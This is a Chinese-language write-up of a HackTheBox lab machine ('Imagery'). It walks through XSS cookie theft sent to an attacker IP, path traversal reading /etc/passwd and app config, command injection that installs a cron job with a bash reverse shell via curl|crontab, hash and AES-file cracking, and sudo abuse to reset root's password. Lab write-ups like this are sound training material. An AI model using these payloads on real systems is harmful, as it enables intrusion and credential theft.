目标信息
IP地址:
10.129.115.71(非固定IP地址)
信息收集
ICMP检测
PING 10.129.112.87 (10.129.112.87) 56(84) bytes of data.
64 bytes from 10.129.112.87: icmp_seq=1 ttl=63 time=434 ms
64 bytes from 10.129.112.87: icmp_seq=2 ttl=63 time=353 ms
64 bytes from 10.129.112.87: icmp_seq=3 ttl=63 time=324 ms
64 bytes from 10.129.112.87: icmp_seq=4 ttl=63 time=353 ms
--- 10.129.112.87 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3001ms
rtt min/avg/max/mdev = 324.059/366.007/434.431/41.206 ms
攻击机和靶机之间网络连接状态良好。
防火墙检测
# Nmap 7.95 scan initiated Mon Sep 29 16:05:37 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.112.87
Nmap scan report for 10.129.112.87
Host is up (0.33s latency).
All 65535 scanned ports on 10.129.112.87 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)
# Nmap done at Mon Sep 29 16:06:28 2025 -- 1 IP address (1 host up) scanned in 51.14 seconds
无法探测靶机防火墙状态。
网络端口扫描
TCP端口扫描结果
# Nmap 7.95 scan initiated Mon Sep 29 16:08:09 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.112.87
Warning: 10.129.112.87 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.112.87
Host is up (0.32s latency).
Not shown: 65209 closed tcp ports (conn-refused), 324 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 333.53 ms 10.10.14.1
2 333.63 ms 10.129.112.87
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 29 16:09:38 2025 -- 1 IP address (1 host up) scanned in 89.46 seconds
UDP端口开放列表扫描结果
# Nmap 7.95 scan initiated Mon Sep 29 16:10:19 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.112.87
Warning: 10.129.112.87 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.112.87
Host is up (0.33s latency).
All 65535 scanned ports on 10.129.112.87 are in ignored states.
Not shown: 65290 open|filtered udp ports (no-response), 245 closed udp ports (port-unreach)
# Nmap done at Mon Sep 29 16:14:28 2025 -- 1 IP address (1 host up) scanned in 248.95 seconds
UDP端口详细信息扫描结果
(无)
经扫描探测,发现靶机开放了22/ssh和80/http两个TCP服务端口,同时还发现靶机操作系统为Ubuntu Linux,根据HackTheBox靶机上传规则,目标主域名为imagery.htb。
服务探测
SSH服务(22端口)
尝试使用ssh命令连接服务,发现靶机SSH服务只允许使用密钥登录:
ssh root@imagery.htb

HTTP服务(8000端口)
打开主页:http://imagery.htb:8000/

发现该站点为图片托管网站,后端技术栈为Python Flask。查看网页,发现最底部存在电子邮箱support@imagery.htb。
查看网页源代码,发现前端JS代码中存在一些API地址。使用如下命令提取:
curl -s http://imagery.htb:8000 | grep "window.location.origin" | awk -F'}' '{print $2}' | awk -F'`' '{print $1}' > apilist.txt
经进一步整理后,获得完整API列表:
/auth_status
/register
/login
/logout
/images
/delete_image
/edit_image_details
/convert_image
/apply_visual_transform
/delete_image_metadata
/upload_image
/report_bug
/admin/bug_reports
/admin/delete_bug_report
/admin/delete_user
/admin/users
/get_image_collections
/create_image_collection
/move_images_to_collection
点击主页Register按钮,转到注册页面。尝试注册账号admin@imagery.htb,发现账号已经存在:

除此之外,未发现其它信息。尝试进行目录扫描:
# Dirsearch started Tue Sep 30 10:04:21 2025 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://imagery.htb:8000 -x 400,404 -e py,pyc,js,html,txt,zip,tar.gz,json,xml,pdf,db -t 70
401 59B http://imagery.htb:8000/images
405 153B http://imagery.htb:8000/login
405 153B http://imagery.htb:8000/logout
405 153B http://imagery.htb:8000/register
401 32B http://imagery.htb:8000/uploads/affwp-debug.log
401 32B http://imagery.htb:8000/uploads/dump.sql
发现靶机Web服务还存在接口/uploads。尝试在登录注册框处进行SQLi与XSS测试,失败。
直接注册新账号登录:

发现跳转至图片库页面。点击Upload按钮,页面上出现了图片上传界面:

随便挑选一张图片上传:

发现图片被上传至/uploads目录,且网站在图片原文件名开头加上了UUID标识符。尝试点击Convert Format、Transform Image等灰色按钮,均提示功能正在开发测试中:

直接请求API接口也是如此:

翻看主网页,发现页面底部还存在Report Bug链接,点击后页面上出现了问题报告框:

推测可能有管理员身份的浏览器客户端定时查看报告提交信息,决定尝试进行XSS攻击测试。
渗透测试
XSS窃取管理员Cookie
在之前的服务探测过程中
尝试获取无头浏览器的Cookie凭据。首先在本地启动SimpleHTTPServer监听:
python -m http.server 80
随后提交如下XSS Payload:
<img src="http://10.10.14.2/text.txt" onerror="fetch('http://10.10.14.2/?cookie='+document.cookie)">

等待一会儿后,成功收到带有Cookie的HTTP请求:

10.10.11.88 - - [02/Oct/2025 07:52:11] "GET /test.txt HTTP/1.1" 404 -
10.10.11.88 - - [02/Oct/2025 07:52:11] "GET /?cookie=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aN2-pw.wGaeLbBbXhZTRdgf534ftdqxu7U HTTP/1.1" 200 -
直接打开BurpSuite,设置代理并刷新页面,将请求中所有Cookie都换成获取到的管理员Cookie:

成功登录管理员账号!
日志接口发现任意文件读取漏洞
登录管理员账号后,点击顶栏的Admin Panel按钮,进入控制面板页面:

发现除了存在漏洞报告查看功能外,还存在查看用户日志和删除用户的功能,同时站点还存在名为testuser的用户。点击testuser用户的Download Log按钮,页面跳转到了get_system_log接口,但提示文件不存在:

观察页面请求参数,发现log_identifier参数内容为testuser@imagery.htb.log,直接将日志文件的文件名传入了接口,推测此处存在任意文件读取漏洞。尝试读取passwd文件:
http://imagery.htb:8000/admin/get_system_log?log_identifier=/etc/passwd

成功!同时还发现靶机内存在web用户,家目录为/home/web。结合网站技术栈为Python Flask的情况,推测站点目录就在该用户家目录下,目录名为web。尝试读取/home/web/web/app.py:

成功!但该app.py只定义了主页面一个路由,未发现其它信息,尝试读取config.py:

import os
import ipaddress
DATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
SYSTEM_LOG_FOLDER = 'system_logs'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'converted'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'transformed'), exist_ok=True)
os.makedirs(SYSTEM_LOG_FOLDER, exist_ok=True)
MAX_LOGIN_ATTEMPTS = 10
ACCOUNT_LOCKOUT_DURATION_MINS = 1
ALLOWED_MEDIA_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'pdf'}
ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff'}
ALLOWED_UPLOAD_MIME_TYPES = {
'image/jpeg',
'image/png',
'image/gif',
'image/bmp',
'image/tiff',
'application/pdf'
}
ALLOWED_TRANSFORM_MIME_TYPES = {
'image/jpeg',
'image/png',
'image/gif',
'image/bmp',
'image/tiff'
}
MAX_FILE_SIZE_MB = 1
MAX_FILE_SIZE_BYTES = MAX_FILE_SIZE_MB * 1024 * 1024
BYPASS_LOCKOUT_HEADER = 'X-Bypass-Lockout'
BYPASS_LOCKOUT_VALUE = os.getenv('CRON_BYPASS_TOKEN', 'default-secret-token-for-dev')
FORBIDDEN_EXTENSIONS = {'php', 'php3', 'php4', 'php5', 'phtml', 'exe', 'sh', 'bat', 'cmd', 'js', 'jsp', 'asp', 'aspx', 'cgi', 'pl', 'py', 'rb', 'dll', 'vbs', 'vbe', 'jse', 'wsf', 'wsh', 'psc1', 'ps1', 'jar', 'com', 'svg', 'xml', 'html', 'htm'}
BLOCKED_APP_PORTS = {8080, 8443, 3000, 5000, 8888, 53}
OUTBOUND_BLOCKED_PORTS = {80, 8080, 53, 5000, 8000, 22, 21}
PRIVATE_IP_RANGES = [
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('172.0.0.0/12'),
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16')
]
AWS_METADATA_IP = ipaddress.ip_address('169.254.169.254')
IMAGEMAGICK_CONVERT_PATH = '/usr/bin/convert'
EXIFTOOL_PATH = '/usr/bin/exiftool'
发现站点数据实际存储在名为db.json的文件内,且代码末尾定义了ImageMagisk图片处理程序和exiftool文件元数据处理程序的路径,因此推测站点转换图片格式的功能是依靠执行convert命令来实现的。
访问db.json:

"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"isAdmin": true,
"displayId": "a1b2c3d4",
"login_attempts": 0,
"isTestuser": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"isAdmin": false,
"displayId": "e5f6g7h8",
"login_attempts": 0,
"isTestuser": true,
"failed_login_attempts": 0,
"locked_until": null
}
]
成功获取站点内两个用户的密码哈希信息!尝试使用hashcat工具破解哈希:
hashcat -m 0 -a 0 2c65c8d7bfbca32a3ed42596192384f6 /usr/share/wordlists/rockyou.txt --force

成功获得网站用户凭据:
- 用户名:
testuser@imagery.htb - 密码:
iambatman
直接登录:

再次上传图片,发现站点的转换图片格式和删除元数据功能变为了可用状态:

图像编辑接口进行命令注入
登录testuser用户后,对站点各个图片操作功能进行枚举。首先打开BurpSuite,点击图片右上角的更多选项,选择Transform Image功能,发现页面右侧的下拉框中有多种图片编辑选项:

很明显这是一个简易的图像编辑器,提供了亮度、色彩、偏移角度和图像大小等参数的编辑功能。这里选择Crop选项,随便修改一个值,点击Apply Transformation按钮:

站点前端向后端接口/apply_visual_transform发送了输入的参数,很明显图像编辑功能是用靶机操作系统内安装的ImageMagisk工具实现的,JSON请求体内的参数将作为命令行参数使用。
直接将数据包发送到Repeater模块,在JSON参数x处注入系统命令:
{"imageId":"a2cf3f84-73aa-445b-b986-29bc6cfb3e21","transformType":"crop","params":{"x":"1;hostnamectl>/tmp/hostnamectl.txt;echo","y":0,"width":300,"height":300}}

随后切换到之前的日志接口操作界面,读取/tmp/hostnamectl.txt:

命令注入成功!直接在本机上启动netcat和SimpleHTTPServer监听:
python -m http.server 80
rlwrap nc -l -p 443 -s 10.10.14.2
接着创建Linux计划任务配置文件cronjob_config.txt:
*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1'
通过命令注入下载并执行crontab添加计划任务:
{"imageId":"e556f50e-40d7-4435-8dc4-bbf79154a447","transformType":"crop","params":{"x":"1;curl http://10.10.14.2/cronjob_config.txt|crontab;echo","y":0,"width":300,"height":300}}


成功获得反弹Shell!!
权限提升
目录信息收集
进入系统后,进行目录信息收集。在/home/web/web/bot/admin.py内发现了admin@imagery.htb用户的登录凭据和一个账户解锁密钥:
# ----- Config -----
CHROME_BINARY = "/usr/bin/google-chrome"
USERNAME = "admin@imagery.htb"
PASSWORD = "strongsandofbeach"
BYPASS_TOKEN = "K7Zg9vB$24NmW!q8xR0p%tL!"
APP_URL = "http://0.0.0.0:8000"
- 用户名:
admin@imagery.htb - 密码:
strongsandofbeach - 账户解锁密钥:
K7Zg9vB$24NmW!q8xR0p%tL!
除此之外,还在/var/backup目录下发现了疑似经AES算法加密的数据文件web_20250806_120723.zip.aes:

使用scp将文件传输至本地,查看文件类型:
file web_20250806_120723.zip.aes

发现该文件为经过pyAesCrypt库加密的文件。
pyAesCrypt密码爆破
在目录信息收集阶段,我们已经发现了一份经Python库pyAesCrypt加密的数据文件。尝试调用pyAesCrypt库函数decryptFile(),利用渗透测试过程中发现的密码对文件进行解密,但提示密码全部错误。
通过联网搜索,发现了针对pyAesCrypt的暴力破解脚本:GitHub - Nabeelcn25/dpyAesCrypt.py: dAescrypt.py is a multithreaded brute-force tool to crack .aes files encrypted using the pyAesCrypt library. It supports password length filtering, progress display with ETA, and optional decryption after cracking.

直接克隆至本地,配合rockyou.txt字典对加密文件进行暴力破解:
python3 ./dpyAesCrypt.py/dpyAesCrypt.py web_20250806_120723.zip.aes /usr/share/wordlists/rockyou.txt -t 60

成功发现AES密钥:bestfriends!
直接按y键解密文件,双击打开,发现为压缩包,包内为Web应用目录备份:

查看/web/db.json文件,发现JSON数据中存在名为mark@imagery.htb的用户:

直接使用hashcat爆破密码哈希:
hashcat -m 0 -a 0 01c3d2e5bdaf6134cec0a367cf53e535 /usr/share/wordlists/rockyou.txt --force

成功发现用户凭据:
- 用户名:
mark - 密码:
supersmash
随后切换到mark用户:
su mark

Sudo程序提权
登录mark用户后,使用sudo -l命令查看用户Sudo权限:

发现当前用户可以以root身份免密运行/usr/local/bin/charcol程序,但程序文件属主为root,权限为0750,目前无法对其进行代码分析。尝试直接运行:
sudo charcol

提示称程序已经启动,需要进入交互式Shell:
sudo charcol shell

发现需要输入密码,连续输错三次后提示称执行charcol -R可以重置。直接执行:
sudo -u root charcol -R
sudo charcol shell
sudo charcol shell

重置密码并配置运行模式后,成功进入了charcol工具的交互式Shell,执行help命令查看帮助:

阅读帮助文档,发现该程序实际上是一个文件备份工具,同时还具有系统计划任务管理的功能。直接执行如下命令,以root身份添加一个将/bin/bash程序设置SUID的计划任务:
auto add --schedule "*/1 * * * *" --command "echo 'root:Asd310056'|chpasswd" --name "misaka19008" --log-output "/tmp/misaka19008.log"
输入mark用户密码确认,随后退出:

等待一会儿后,执行命令切换至root用户:
su -

提权成功!!!!
